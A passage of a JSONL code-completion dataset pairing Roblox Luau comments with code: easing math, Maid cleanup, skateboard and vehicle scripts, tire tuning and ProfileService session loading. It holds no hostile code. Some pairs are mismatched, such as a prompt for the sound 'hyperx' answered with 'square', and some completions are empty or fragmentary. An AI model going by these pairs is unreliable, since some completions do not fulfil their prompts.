s = p / (2 * pi) * asin(c / a)\n end\n\n if t < 1 then\n t = t - 1\n return -0.5 * (a * pow(2, 10 * t) * sin((t * d - s) * (2 * pi) / p)) + b\n else\n t = t - 1\n return a * pow(2, -10 * t) * sin((t * d - s) * (2 * pi) / p ) * 0.5 + c + b\n end\nend\n"} +{"prompt": "--[[\n{Madwork}\n\n-[MadworkMaid]---------------------------------------\n\tMadwork implementation of Maid.lua\n\t\n\tFunctions:\n\t\n\t\tMadworkMaid.NewMaid() --> [Maid]\n\t\tMadworkMaid.Cleanup(task, params...)\n\t\n\tMembers [Maid]:\n\t\n\t\tMaid:AddCleanupTask(task) --> cleanup_of_one [function] (...) -- Returned function can be called to cleanup the individual task\n\t\tMaid:RemoveCleanupTask(task)\n\t\tMaid:Cleanup(params...)\n\t\t\n\tNotice: \"params...\" argument is optional and can be used to pass arguments to cleanup functions\n\t\n--]]", "completion": "\n"} +{"prompt": "--[[\n\tPackage link auto-generated by Rotriever\n]]", "completion": "\nlocal PackageIndex = script.Parent._Index\n\nlocal Package = require(PackageIndex[\"InputType\"][\"InputType\"])\n\nreturn Package\n"} +{"prompt": "-- Encuentra el sonido llamado \"hyperx\" en el servicio de sonido", "completion": "\nlocal sound = soundService:FindFirstChild(\"square\")\n"} +{"prompt": "--new e", "completion": "\nnewe = script.E:clone()\nnewe.Text = child.Value\nnewe.Parent = hear\nwait(0.1)\nnewe.Remover.Disabled = false\nend\nwait() \nchild:Destroy()\nend\n\nend)\n\n\n\nwhile true do\n\tGame:GetService(\"RunService\").RenderStepped:wait() \n\tblind.CFrame = camera.CoordinateFrame - camera.CoordinateFrame.lookVector\n\tcenter.CFrame =camera.CoordinateFrame + camera.CoordinateFrame.lookVector\n\tcenter.Mesh.Scale = blind.Mesh.Scale * Vector3.new(0.015,0.015,0.01)\n\tc = c + 1\n\tif c >= 2 then\n\t\tc = 0 \n\t\tif blind.Mesh.Scale.x < -5 then\n\tblind.Mesh.Scale = blind.Mesh.Scale + Vector3.new(0.5,0.5,0.5)\t\n\t\tend \n\tend\nend\n"} +{"prompt": "--A function to find all parts in an assembly. We'll need this later.", "completion": "\nfunction getAssemblyParts(pt,checked)\n\tif (checked[pt]) then return end\n\tchecked[pt] = pt\n\t\n\tlocal attached = pt:GetConnectedParts()\n\tfor _,p in pairs(attached) do\n\t\tgetAssemblyParts(p,checked)\n\tend\nend\n"} +{"prompt": "--[=[\n\t@param name string\n\t@param inboundMiddleware ClientMiddleware?\n\t@param outboundMiddleware ClientMiddleware?\n\t@return (...: any) -> any\n\n\tGenerates a function on the matching RemoteFunction generated with ServerComm. The function\n\tcan then be called to invoke the server. If this `ClientComm` object was created with\n\tthe `usePromise` parameter set to `true`, then this generated function will return\n\ta Promise when called.\n\n\t```lua\n\t-- Server-side:\n\tlocal serverComm = ServerComm.new(someParent)\n\tserverComm:BindFunction(\"MyFunction\", function(player, msg)\n\t\treturn msg:upper()\n\tend)\n\n\t-- Client-side:\n\tlocal clientComm = ClientComm.new(someParent)\n\tlocal myFunc = clientComm:GetFunction(\"MyFunction\")\n\tlocal uppercase = myFunc(\"hello world\")\n\tprint(uppercase) --> HELLO WORLD\n\n\t-- Client-side, using promises:\n\tlocal clientComm = ClientComm.new(someParent, true)\n\tlocal myFunc = clientComm:GetFunction(\"MyFunction\")\n\tmyFunc(\"hi there\"):andThen(function(msg)\n\t\tprint(msg) --> HI THERE\n\tend):catch(function(err)\n\t\tprint(\"Error:\", err)\n\tend)\n\t```\n]=]", "completion": "\nfunction ClientComm:GetFunction(\n\tname: string,\n\tinboundMiddleware: Types.ClientMiddleware?,\n\toutboundMiddleware: Types.ClientMiddleware?\n)\n\treturn Comm.GetFunction(self._instancesFolder, name, self._usePromise, inboundMiddleware, outboundMiddleware)\nend\n"} +{"prompt": "------------------------------------------------------------------------\n-- single-character replacement, for locale-aware decimal points\n------------------------------------------------------------------------", "completion": "\nfunction luaX:buffreplace(ls, from, to)\n local result, buff = \"\", ls.buff\n for p = 1, #buff do\n local c = string.sub(buff, p, p)\n if c == from then c = to end\n result = result..c\n end\n ls.buff = result\nend\n"} +{"prompt": "-- Returns the ancestor that contains a Humanoid, if it exists", "completion": "\nlocal function FindCharacterAncestor(subject)\n\tif subject and subject ~= workspace then\n\t\tlocal humanoid = subject:FindFirstChildOfClass('Humanoid')\n\t\tif humanoid then\n\t\t\treturn subject, humanoid\n\t\telse\n\t\t\treturn FindCharacterAncestor(subject.Parent)\n\t\tend\n\tend\n\treturn nil\nend\n\nlocal function IsInTable(Table,Value)\n\tfor _,v in pairs(Table) do\n\t\tif v == Value then\n\t\t\treturn true\n\t\tend\n\tend\n\treturn false\nend\n"} +{"prompt": "-- Services --", "completion": "\n\nlocal ReplicatedStorage = game:GetService(\"ReplicatedStorage\")\nlocal Players = game:GetService(\"Players\")\n"} +{"prompt": "--[=[\n\tReturns a boolean determining if the object is a ScriptSignal.\n\n\t```lua\n\tlocal janitor = Janitor.new()\n\tlocal signal = ScriptSignal.new()\n\n\tScriptSignal.Is(signal) -> true\n\tScriptSignal.Is(janitor) -> false\n\t```\n\n\t@param object any\n\t@return boolean\n\t@ignore\n]=]", "completion": "\nfunction ScriptSignal.Is(object): boolean\n return typeof(object) == \"table\" and getmetatable(object) == ScriptSignal\nend\n"} +{"prompt": "--handle2=sp:WaitForChild(\"Handle2\")", "completion": "\nhandles = {handle}\nhandlestofire = 1\nanim = sp.Parent.Humanoid:LoadAnimation(sp.idle)\nanim2 = sp.Parent.Humanoid:LoadAnimation(sp.FireAni)\nanim3 = sp.Parent.Humanoid:LoadAnimation(sp.Reload)"} +{"prompt": "--Color is the only one that we need to check all the time", "completion": "\ncolorPart.BrickColor = config.Color.Value\nglowPart.BrickColor = config.Color.Value\nconfig.Color.Changed:connect(function() \n\tcolorPart.BrickColor = config.Color.Value \n\tglowPart.BrickColor = config.Color.Value\nend)\n"} +{"prompt": "--[[\n\ttweenJoint Function Parameters:\n\t\n\tObject Joint - This has to be a weld with a C0 and C1 property\n\t\n\tCFrame newC0 - This is what the new C0 of the weld will be. You can put nil if you don't want to effect the C0\n\t\n\tCFrame newC1 - This is what the new C1 of the weld will be. You can put nil if you don't want to effect the C1\n\t\n\tfunction Alpha - This is an alpha function that takes an input parameter of a number between 0 and 90 and returns a number between 0 and 1.\n\t\tFor example, function(X) return math.sin(math.rad(X)) end\n\t\t\n\tfloat Duration - This is how long the tweening takes to complete\n--]]", "completion": "\n\nfunction tweenJoint(Joint, newC0, newC1, Alpha, Duration)\n\tspawn(function()\n\t\tlocal newCode = math.random(-1e9, 1e9) --This creates a random code between -1000000000 and 1000000000\n\t\tlocal tweenIndicator = nil\n\t\tif (not Joint:findFirstChild(\"tweenCode\")) then --If the joint isn't being tweened, then\n\t\t\ttweenIndicator = Instance.new(\"IntValue\")\n\t\t\ttweenIndicator.Name = \"tweenCode\"\n\t\t\ttweenIndicator.Value = newCode\n\t\t\ttweenIndicator.Parent = Joint\n\t\telse\n\t\t\ttweenIndicator = Joint.tweenCode\n\t\t\ttweenIndicator.Value = newCode --If the joint is already being tweened, this will change the code, and the tween loop will stop\n\t\tend\n\t\tif Duration <= 0 then --If the duration is less than or equal to 0 then there's no need for a tweening loop\n\t\t\tif newC0 then Joint.C0 = newC0 end\n\t\t\tif newC1 then Joint.C1 = newC1 end\n\t\telse\n\t\t\tlocal Increment = 1.5 / Duration --Calculate the increment here so it doesn't need to be calculated in the loop\n\t\t\tlocal startC0 = Joint.C0\n\t\t\tlocal startC1 = Joint.C1\n\t\t\tlocal X = 0\n\t\t\twhile true do\n\t\t\t\tRS.RenderStepped:wait() --This makes the for loop step every 1/60th of a second\n\t\t\t\tlocal newX = X + Increment\n\t\t\t\tX = (newX > 90 and 90 or newX) --Makes sure the X never goes above 90\n\t\t\t\tif tweenIndicator.Value ~= newCode then break end --This makes sure that another tween wasn't called on the same joint\n\t\t\t\tif newC0 then Joint.C0 = startC0:lerp(newC0, Alpha(X)) end\n\t\t\t\tif newC1 then Joint.C1 = startC1:lerp(newC1, Alpha(X)) end\n\t\t\t\tif X == 90 then break end --If the tweening is done...\n\t\t\tend\n\t\tend\n\t\tif tweenIndicator.Value == newCode then --If this tween functions was the last one called on a joint then it will remove the code\n\t\t\ttweenIndicator:Destroy()\n\t\tend\n\tend)\nend\n\nfunction CreateWeld(Part, CF)\n\tlocal w = Instance.new(\"Weld\")\n\tw.Name = \"LegWeld\"\n\tw.Parent = Torso\n\tw.Part0 = Torso\n\tw.Part1 = Part\n\t\n\ttweenJoint(w, nil, CF, function(X) return math.sin(math.rad(X)) end, 0.25)\nend\n"} +{"prompt": "--------------------------------------------------------------------------", "completion": "\n\nlocal _WHEELTUNE = {\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t--[[\t\n\t\t\tSS6 Presets\n\t[Eco]\t\t\n\t\tWearSpeed = 1,\n\t\tTargetFriction = .7,\n\t\tMinFriction = .1,\n\t[Road]\t\t\n\t\tWearSpeed = 2,\n\t\tTargetFriction = .7,\n\t\tMinFriction = .1,\n\t[Sport]\t\t\n\t\tWearSpeed = 3,\n\t\tTargetFriction = .79,\n\t\tMinFriction = .1,\t\t\t\t\t\t\t\t\t\t\t]]\n\n\tTireWearOn \t\t= true\t,\n\t\n\t--Friction and Wear\n\tFWearSpeed\t\t= .4\t,\n\tFTargetFriction\t= .7\t,\n\tFMinFriction \t= .1\t,\n\t\n\tRWearSpeed\t\t= .4\t,\n\tRTargetFriction\t= .7\t,\n\tRMinFriction\t= .1\t,\n\t\n\t--Tire Slip\n\tTCSOffRatio\t\t= 1\t\t,\n\tWheelLockRatio\t= 1/2\t,\t--SS6 Default = 1/4\n\tWheelspinRatio\t= 1/1.1\t,\t--SS6 Default = 1/1.2\n\t\n\t--Wheel Properties\n\tFFrictionWeight\t= 1\t\t,\t--SS6 Default = 1\n\tRFrictionWeight\t= 1\t\t,\t--SS6 Default = 1\n\tFLgcyFrWeight\t= 10\t,\n\tRLgcyFrWeight\t= 10\t,\n\t\n\tFElasticity\t\t= .5\t\t,\t--SS6 Default = .5\n\tRElasticity\t\t= .5\t\t,\t--SS6 Default = .5\n\tFLgcyElasticity\t= 0\t\t,\n\tRLgcyElasticity\t= 0\t\t,\n\t\n\tFElastWeight\t= 1\t\t,\t--SS6 Default = 1\n\tRElastWeight\t= 1\t\t,\t--SS6 Default = 1\n\tFLgcyElWeight\t= 10\t,\n\tRLgcyElWeight\t= 10\t,\n\t\n\t--Wear Regen\n\tRegenSpeed\t\t= 3.6\t\t--SS6 Default = 3.6\n}\n"} +{"prompt": "-- Connect the onInput function to the player's input events", "completion": "\ngame:GetService(\"UserInputService\").InputBegan:Connect(onInput)\n"} +{"prompt": "---THANK YOU FOR USING MY CUSTOM CEILING LIGHT! :D\n---UniversePalletfor1", "completion": "\n\n"} +{"prompt": "--[[ Module Functions ]]", "completion": "--\nChassis = {}\n\nChassis.root = PackagedVehicle:FindFirstChild(\"Chassis\") --the root of the Chassis model\nChassis.driverSeat = Chassis.root:FindFirstChildOfClass(\"VehicleSeat\")\nChassis.passengerSeats = {\n\tChassis.root:FindFirstChild(\"SeatFR\"),\n\tChassis.root:FindFirstChild(\"SeatRL\"),\n\tChassis.root:FindFirstChild(\"SeatRR\")\n}\n\nlocal randomSuspension = Chassis.root:FindFirstChild(\"SuspensionFL\")\nlocal wheelRadius = randomSuspension.Wheel.Size.y/2\nChassis.driverSeat.MaxSpeed = VehicleParameters.MaxSpeed * wheelRadius\n\nfunction Chassis.InitializeDrivingValues()\n\t-- Constraint tables always ordered FL, FR, RL, RR\n\tMotors = getVehicleMotors()\n\n\tlocal strutSpringsFront = getSprings(\"StrutFront\")\n\tlocal strutSpringsRear = getSprings(\"StrutRear\")\n\tlocal torsionSprings = getSprings(\"TorsionBar\")\n\n\tRedressMount = Chassis.root:WaitForChild(\"RedressMount\")\n\n\tSteeringPrismatic = constraints:FindFirstChild(\"SteeringPrismatic\")\n\tSteeringPrismatic.UpperLimit = VehicleParameters.MaxSteer\n\tSteeringPrismatic.LowerLimit = -VehicleParameters.MaxSteer\n\n\tfor _,s in pairs(strutSpringsFront) do\n\t\tadjustSpring(s, ActualStrutSpringStiffnessFront, ActualStrutSpringDampingFront)\n\tend\n\tfor _,s in pairs(strutSpringsRear) do\n\t\tadjustSpring(s, ActualStrutSpringStiffnessRear, ActualStrutSpringDampingRear)\n\tend\n\tfor _,s in pairs(torsionSprings) do\n\t\tadjustSpring(s, ActualTorsionSpringStiffness, ActualTorsionSpringDamping)\n\tend\n\n\tlocal chassisChildren = Chassis.root:GetChildren()\n\tfor i = 1, #chassisChildren do\n\t\tlocal model = chassisChildren[i]\n\t\tif model:IsA(\"Model\") then\n\t\t\tlocal wheel = model:FindFirstChild(\"Wheel\")\n\t\t\tif wheel then\n\t\t\t\tlocal old = wheel.CustomPhysicalProperties\n\t\t\t\tlocal new = PhysicalProperties.new(old.Density, VehicleParameters.WheelFriction, old.Elasticity, old.FrictionWeight, old.ElasticityWeight)\n\t\t\t\twheel.CustomPhysicalProperties = new\n\t\t\tend\n\t\tend\n\tend\n\n\tsetMotorTorque(10000)\nend\n\nfunction Chassis.GetDriverSeat()\n\treturn Chassis.driverSeat\nend\n\nfunction Chassis.GetPassengerSeats()\n\treturn Chassis.passengerSeats\nend\n\nfunction Chassis.GetBase()\n\treturn Chassis.root.PrimaryPart or Chassis.root:FindFirstChild(\"FloorPanel\")\nend\n"} +{"prompt": "-- connect events", "completion": "\n\nBoard.equipped:connect(onEquip)\nBoard.unequipped:connect(onUnequip)\n"} +{"prompt": "----- SETUP -----", "completion": "\n\nfor i, v in pairs(script.Parent:GetChildren()) do\n\tif v.ClassName == \"Seat\" then\n\t\ttable.insert(seats, v)\n\tend\nend\n"} +{"prompt": "-- The default format if one is not specified", "completion": "\nlocal DEFAULT_FORMAT = \"$minutes:$seconds.$centiseconds\"\n"} +{"prompt": "--input began", "completion": "\ninputService.InputBegan:Connect(function (key)\n\tif key.KeyCode == Enum.KeyCode.LeftShift or key.KeyCode == Enum.KeyCode.LeftControl then\n\t\trunning = true\n\t\tif char.Humanoid then\n\t\t\tchar.Humanoid.WalkSpeed = 41 --Player's speed while sprinting\n\t\tend\n\tend\nend)\n"} +{"prompt": "-- normal maxspeed is 40", "completion": "\nlocal topSpeed = 40\n\nlocal OllieHack = script.Parent:FindFirstChild(\"OllieThrust\")\nif (OllieHack == nil) then\n\tOllieHack = Instance.new(\"BodyThrust\")\n\tOllieHack.Name = \"OllieThrust\"\n\tOllieHack.force = Vector3.new(0,0,0)\n\tOllieHack.location = Vector3.new(0,0,-2)\n\tOllieHack.Parent = Board\nend\n\nlocal lastaction = nil\nlocal lasttime = nil\nlocal jumpok = true\n\nfunction didAction(action)\n\tlastaction = action\n\tlasttime = time()\nend\n\n\n\nfunction onAxisChanged(axis)\n\tBoard.Steer = Controller.Steer\n\tBoard.Throttle = Controller.Throttle\n\n\tif (Board.Steer == -1) then\n\t\tprint(\"Left\")\n\t\t--CoastingAnim:Stop(1)\n\t\tKickAnim:Stop()\n\t\tOllieAnim:Stop()\n\t\tRightAnim:Stop(.5)\n\t\tLeftAnim:Play(.5)\n\t\tdidAction(\"left\")\n\tend\n\n\tif (Board.Steer == 1) then\n\t\tprint(\"Right\")\n\t\tKickAnim:Stop()\n\t\t--CoastingAnim:Stop(1)\n\t\tLeftAnim:Stop(.5)\n\t\tOllieAnim:Stop()\n\t\tRightAnim:Play(.5)\n\t\tdidAction(\"right\")\n\tend\n\n\tif (Board.Steer == 0) then\n\t\tprint(\"Straight\")\n\n\t\tKickAnim:Stop()\n\t\tLeftAnim:Stop(.5)\n\t\tOllieAnim:Stop()\n\t\tRightAnim:Stop(.5)\n\t\t\n\t\tif (lastaction == \"go\" and time() - lasttime < .1) then\n\t\t\t\n\t\tend\n\t\tdidAction(\"go\")\n\t\t--CoastingAnim:Play(1)\n\n\t\tif (Board.CruiseLoop.IsPlaying == false) then Board.CruiseLoop:Play() end\n\t\t\n\tend\nend\n\nfunction enterAirState()\n\t-- gyrate towards vertical position for better landing\n\tGyro.maxTorque = Vector3.new(10, 0, 10)\n\tjumpok = false\n\tBoard.CruiseLoop:Stop()\n\tBoard.BoardOllie:Play()\nend\n\nfunction exitAirState()\n\t-- turn off gyro\n\tGyro.maxTorque = Vector3.new(0,0,0)\n\tjumpok = true\n\tBoard.BoardDrop:Play()\n\tBoard.CruiseLoop:Stop()\nend\n\nfunction enterPushingState()\n\tKickAnim:Play()\nend\n\nfunction enterCoastingState()\n\tif (Board.CruiseLoop.IsPlaying == false) then Board.CruiseLoop:Play() end\nend\n\nfunction enterStoppingState()\n\tBoard.CruiseLoop:Stop()\n\tbreakModifyAndPlay()\nend\n\nfunction onMoveStateChanged(newState, oldState)\n\tprint(oldState)\n\tprint(newState)\n\t-- do state exits here\n\tif oldState == Enum.MoveState.AirFree then exitAirState() end\n\n\t-- do state transitions here\n\n\t-- do state entries here\n\tif newState == Enum.MoveState.AirFree then enterAirState() end\n\tif newState == Enum.MoveState.Pushing then enterPushingState() end\n\tif newState == Enum.MoveState.Coasting then enterCoastingState() end\n\tif newState == Enum.MoveState.Stopping then enterStoppingState() end\nend\n\n"} +{"prompt": "-- ProfileStore object:", "completion": "\n\nlocal ProfileStore = {\n\t--[[\n\t\tMock = {},\n\t\n\t\t_profile_store_name = \"\", -- [string] -- DataStore name\n\t\t_profile_store_scope = nil, -- [string] or [nil] -- DataStore scope\n\t\t_profile_store_lookup = \"\", -- [string] -- _profile_store_name .. \"\\0\" .. (_profile_store_scope or \"\")\n\t\t\n\t\t_profile_template = {}, -- [table]\n\t\t_global_data_store = global_data_store, -- [GlobalDataStore] -- Object returned by DataStoreService:GetDataStore(_profile_store_name)\n\t\t\n\t\t_loaded_profiles = {[profile_key] = Profile, ...},\n\t\t_profile_load_jobs = {[profile_key] = {load_id, loaded_data}, ...},\n\t\t\n\t\t_mock_loaded_profiles = {[profile_key] = Profile, ...},\n\t\t_mock_profile_load_jobs = {[profile_key] = {load_id, loaded_data}, ...},\n\t--]]\n}\nProfileStore.__index = ProfileStore\n\nfunction ProfileStore:LoadProfileAsync(profile_key, not_released_handler, _use_mock) --> [Profile / nil] not_released_handler(place_id, game_job_id)\n\n\tnot_released_handler = not_released_handler or \"ForceLoad\"\n\n\tif self._profile_template == nil then\n\t\terror(\"[ProfileService]: Profile template not set - ProfileStore:LoadProfileAsync() locked for this ProfileStore\")\n\tend\n\tif type(profile_key) ~= \"string\" then\n\t\terror(\"[ProfileService]: profile_key must be a string\")\n\telseif string.len(profile_key) == 0 then\n\t\terror(\"[ProfileService]: Invalid profile_key\")\n\tend\n\tif type(not_released_handler) ~= \"function\" and not_released_handler ~= \"ForceLoad\" and not_released_handler ~= \"Steal\" then\n\t\terror(\"[ProfileService]: Invalid not_released_handler\")\n\tend\n\n\tif ProfileService.ServiceLocked == true then\n\t\treturn nil\n\tend\n\n\tWaitForPendingProfileStore(self)\n\n\tlocal is_user_mock = _use_mock == UseMockTag\n\n\t-- Check if profile with profile_key isn't already loaded in this session:\n\tfor _, profile_store in ipairs(ActiveProfileStores) do\n\t\tif profile_store._profile_store_lookup == self._profile_store_lookup then\n\t\t\tlocal loaded_profiles = is_user_mock == true and profile_store._mock_loaded_profiles or profile_store._loaded_profiles\n\t\t\tif loaded_profiles[profile_key] ~= nil then\n\t\t\t\terror(\"[ProfileService]: Profile \" .. IdentifyProfile(self._profile_store_name, self._profile_store_scope, profile_key) .. \" is already loaded in this session\")\n\t\t\t\t-- Are you using Profile:Release() properly?\n\t\t\tend\n\t\tend\n\tend\n\n\tActiveProfileLoadJobs = ActiveProfileLoadJobs + 1\n\tlocal force_load = not_released_handler == \"ForceLoad\"\n\tlocal force_load_steps = 0\n\tlocal request_force_load = force_load -- First step of ForceLoad\n\tlocal steal_session = false -- Second step of ForceLoad\n\tlocal aggressive_steal = not_released_handler == \"Steal\" -- Developer invoked steal\n\twhile ProfileService.ServiceLocked == false do\n\t\t-- Load profile:\n\t\t-- SPECIAL CASE - If LoadProfileAsync is called for the same key before another LoadProfileAsync finishes,\n\t\t-- yoink the DataStore return for the new call. The older call will return nil. This would prevent very rare\n\t\t-- game breaking errors where a player rejoins the server super fast.\n\t\tlocal profile_load_jobs = is_user_mock == true and self._mock_profile_load_jobs or self._profile_load_jobs\n\t\tlocal loaded_data, key_info\n\t\tlocal load_id = LoadIndex + 1\n\t\tLoadIndex = load_id\n\t\tlocal profile_load_job = profile_load_jobs[profile_key] -- {load_id, {loaded_data, key_info} or nil}\n\t\tif profile_load_job ~= nil then\n\t\t\tprofile_load_job[1] = load_id -- Yoink load job\n\t\t\twhile profile_load_job[2] == nil do -- Wait for job to finish\n\t\t\t\ttask.wait()\n\t\t\tend\n\t\t\tif profile_load_job[1] == load_id then -- Load job hasn't been double-yoinked\n\t\t\t\tloaded_data, key_info = table.unpack(profile_load_job[2])\n\t\t\t\tprofile_load_jobs[profile_key] = nil\n\t\t\telse\n\t\t\t\tActiveProfileLoadJobs = ActiveProfileLoadJobs - 1\n\t\t\t\treturn nil\n\t\t\tend\n\t\telse\n\t\t\tprofile_load_job = {load_id, nil}\n\t\t\tprofile_load_jobs[profile_key] = profile_load_job\n\t\t\tprofile_load_job[2] = table.pack(StandardProfileUpdateAsyncDataStore(\n\t\t\t\tself,\n\t\t\t\tprofile_key,\n\t\t\t\t{\n\t\t\t\t\tExistingProfileHandle = function(latest_data)\n\t\t\t\t\t\tif ProfileService.ServiceLocked == false then\n\t\t\t\t\t\t\tlocal active_session = latest_data.MetaData.ActiveSession\n\t\t\t\t\t\t\tlocal force_load_session = latest_data.MetaData.ForceLoadSession\n\t\t\t\t\t\t\t-- IsThisSession(active_session)\n\t\t\t\t\t\t\tif active_session == nil then\n\t\t\t\t\t\t\t\tlatest_data.MetaData.ActiveSession = {PlaceId, JobId}\n\t\t\t\t\t\t\t\tlatest_data.MetaData.ForceLoadSession = nil\n\t\t\t\t\t\t\telseif type(active_session) == \"table\" then\n\t\t\t\t\t\t\t\tif IsThisSession(active_session) == false then\n\t\t\t\t\t\t\t\t\tlocal last_update = latest_data.MetaData.LastUpdate\n\t\t\t\t\t\t\t\t\tif last_update ~= nil then\n\t\t\t\t\t\t\t\t\t\tif os.time() - last_update > SETTINGS.AssumeDeadSessionLock then\n\t\t\t\t\t\t\t\t\t\t\tlatest_data.MetaData.ActiveSession = {PlaceId, JobId}\n\t\t\t\t\t\t\t\t\t\t\tlatest_data.MetaData.ForceLoadSession = nil\n\t\t\t\t\t\t\t\t\t\t\treturn\n\t\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\t\tif steal_session == true or aggressive_steal == true then\n\t\t\t\t\t\t\t\t\t\tlocal force_load_uninterrupted = false\n\t\t\t\t\t\t\t\t\t\tif force_load_session ~= nil then\n\t\t\t\t\t\t\t\t\t\t\tforce_load_uninterrupted = IsThisSession(force_load_session)\n\t\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\t\t\tif force_load_uninterrupted == true or aggressive_steal == true then\n\t\t\t\t\t\t\t\t\t\t\tlatest_data.MetaData.ActiveSession = {PlaceId, JobId}\n\t\t\t\t\t\t\t\t\t\t\tlatest_data.MetaData.ForceLoadSession = nil\n\t\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\t\telseif request_force_load == true then\n\t\t\t\t\t\t\t\t\t\tlatest_data.MetaData.ForceLoadSession = {PlaceId, JobId}\n\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\tlatest_data.MetaData.ForceLoadSession = nil\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\tend,\n\t\t\t\t\tMissingProfileHandle = function(latest_data)\n\t\t\t\t\t\tlatest_data.Data = DeepCopyTable(self._profile_template)\n\t\t\t\t\t\tlatest_data.MetaData = {\n\t\t\t\t\t\t\tProfileCreateTime = os.time(),\n\t\t\t\t\t\t\tSessionLoadCount = 0,\n\t\t\t\t\t\t\tActiveSession = {PlaceId, JobId},\n\t\t\t\t\t\t\tForceLoadSession = nil,\n\t\t\t\t\t\t\tMetaTags = {},\n\t\t\t\t\t\t}\n\t\t\t\t\tend,\n\t\t\t\t\tEditProfile = function(latest_data)\n\t\t\t\t\t\tif ProfileService.ServiceLocked == false then\n\t\t\t\t\t\t\tlocal active_session = latest_data.MetaData.ActiveSession\n\t\t\t\t\t\t\tif active_session ~= nil and IsThisSession(active_session) == true then\n\t\t\t\t\t\t\t\tlatest_data.MetaData.SessionLoadCount = latest_data.MetaData.SessionLoadCount + 1\n\t\t\t\t\t\t\t\tlatest_data.MetaData.LastUpdate = os.time()\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\tend,\n\t\t\t\t},\n\t\t\t\tis_user_mock\n\t\t\t))\n\t\t\tif profile_load_job[1] == load_id then -- Load job hasn't been yoinked\n\t\t\t\tloaded_data, key_info = table.unpack(profile_load_job[2])\n\t\t\t\tprofile_load_jobs[profile_key] = nil\n\t\t\telse\n\t\t\t\tActiveProfileLoadJobs = ActiveProfileLoadJobs - 1\n\t\t\t\treturn nil -- Load job yoinked\n\t\t\tend\n\t\tend\n\t\t-- Handle load_data:\n\t\tif loaded_data ~= nil and key_info ~= nil then\n\t\t\tlocal active_session = loaded_data.MetaData.ActiveSession\n\t\t\tif type(active_session) == \"table\" then\n\t\t\t\tif IsThisSession(active_session) == true then\n\t\t\t\t\t-- Special component in MetaTags:\n\t\t\t\t\tloaded_data.MetaData.MetaTagsLatest = DeepCopyTable(loaded_data.MetaData.MetaTags)\n\t\t\t\t\t-- Case #1: Profile is now taken by this session:\n\t\t\t\t\t-- Create Profile object:\n\t\t\t\t\tlocal global_updates_object = {\n\t\t\t\t\t\t_updates_latest = loaded_data.GlobalUpdates,\n\t\t\t\t\t\t_pending_update_lock = {},\n\t\t\t\t\t\t_pending_update_clear = {},\n\n\t\t\t\t\t\t_new_active_update_listeners = Madwork.NewScriptSignal(),\n\t\t\t\t\t\t_new_locked_update_listeners = Madwork.NewScriptSignal(),\n\n\t\t\t\t\t\t_profile = nil,\n\t\t\t\t\t}\n\t\t\t\t\tsetmetatable(global_updates_object, GlobalUpdates)\n\t\t\t\t\tlocal profile = {\n\t\t\t\t\t\tData = loaded_data.Data,\n\t\t\t\t\t\tMetaData = loaded_data.MetaData,\n\t\t\t\t\t\tMetaTagsUpdated = Madwork.NewScriptSignal(),\n\n\t\t\t\t\t\tRobloxMetaData = loaded_data.RobloxMetaData or {},\n\t\t\t\t\t\tUserIds = loaded_data.UserIds or {},\n\t\t\t\t\t\tKeyInfo = key_info,\n\t\t\t\t\t\tKeyInfoUpdated = Madwork.NewScriptSignal(),\n\n\t\t\t\t\t\tGlobalUpdates = global_updates_object,\n\n\t\t\t\t\t\t_profile_store = self,\n\t\t\t\t\t\t_profile_key = profile_key,\n\n\t\t\t\t\t\t_release_listeners = Madwork.NewScriptSignal(),\n\t\t\t\t\t\t_hop_ready_listeners = Madwork.NewScriptSignal(),\n\t\t\t\t\t\t_hop_ready = false,\n\n\t\t\t\t\t\t_load_timestamp = os.clock(),\n\n\t\t\t\t\t\t_is_user_mock = is_user_mock,\n\t\t\t\t\t}\n\t\t\t\t\tsetmetatable(profile, Profile)\n\t\t\t\t\tglobal_updates_object._profile = profile\n\t\t\t\t\t-- Referencing Profile object in ProfileStore:\n\t\t\t\t\tif next(self._loaded_profiles) == nil and next(self._mock_loaded_profiles) == nil then -- ProfileStore object was inactive\n\t\t\t\t\t\ttable.insert(ActiveProfileStores, self)\n\t\t\t\t\tend\n\t\t\t\t\tif is_user_mock == true then\n\t\t\t\t\t\tself._mock_loaded_profiles[profile_key] = profile\n\t\t\t\t\telse\n\t\t\t\t\t\tself._loaded_profiles[profile_key] = profile\n\t\t\t\t\tend\n\t\t\t\t\t-- Adding profile to AutoSaveList;\n\t\t\t\t\tAddProfileToAutoSave(profile)\n\t\t\t\t\t-- Special case - finished loading profile, but session is shutting down:\n\t\t\t\t\tif ProfileService.ServiceLocked == true then\n\t\t\t\t\t\tSaveProfileAsync(profile, true) -- Release profile and yield until the DataStore call is finished\n\t\t\t\t\t\tprofile = nil -- nil will be returned by this call\n\t\t\t\t\tend\n\t\t\t\t\t-- Return Profile object:\n\t\t\t\t\tActiveProfileLoadJobs = ActiveProfileLoadJobs - 1\n\t\t\t\t\treturn profile\n\t\t\t\telse\n\t\t\t\t\t-- Case #2: Profile is taken by some other session:\n\t\t\t\t\tif force_load == true then\n\t\t\t\t\t\tlocal force_load_session = loaded_data.MetaData.ForceLoadSession\n\t\t\t\t\t\tlocal force_load_uninterrupted = false\n\t\t\t\t\t\tif force_load_session ~= nil then\n\t\t\t\t\t\t\tforce_load_uninterrupted = IsThisSession(force_load_session)\n\t\t\t\t\t\tend\n\t\t\t\t\t\tif force_load_uninterrupted == true then\n\t\t\t\t\t\t\tif request_force_load == false then\n\t\t\t\t\t\t\t\tforce_load_steps = force_load_steps + 1\n\t\t\t\t\t\t\t\tif force_load_steps == SETTINGS.ForceLoadMaxSteps then\n\t\t\t\t\t\t\t\t\tsteal_session = true\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\ttask.wait() -- Overload prevention\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t-- Another session tried to force load this profile:\n\t\t\t\t\t\t\tActiveProfileLoadJobs = ActiveProfileLoadJobs - 1\n\t\t\t\t\t\t\treturn 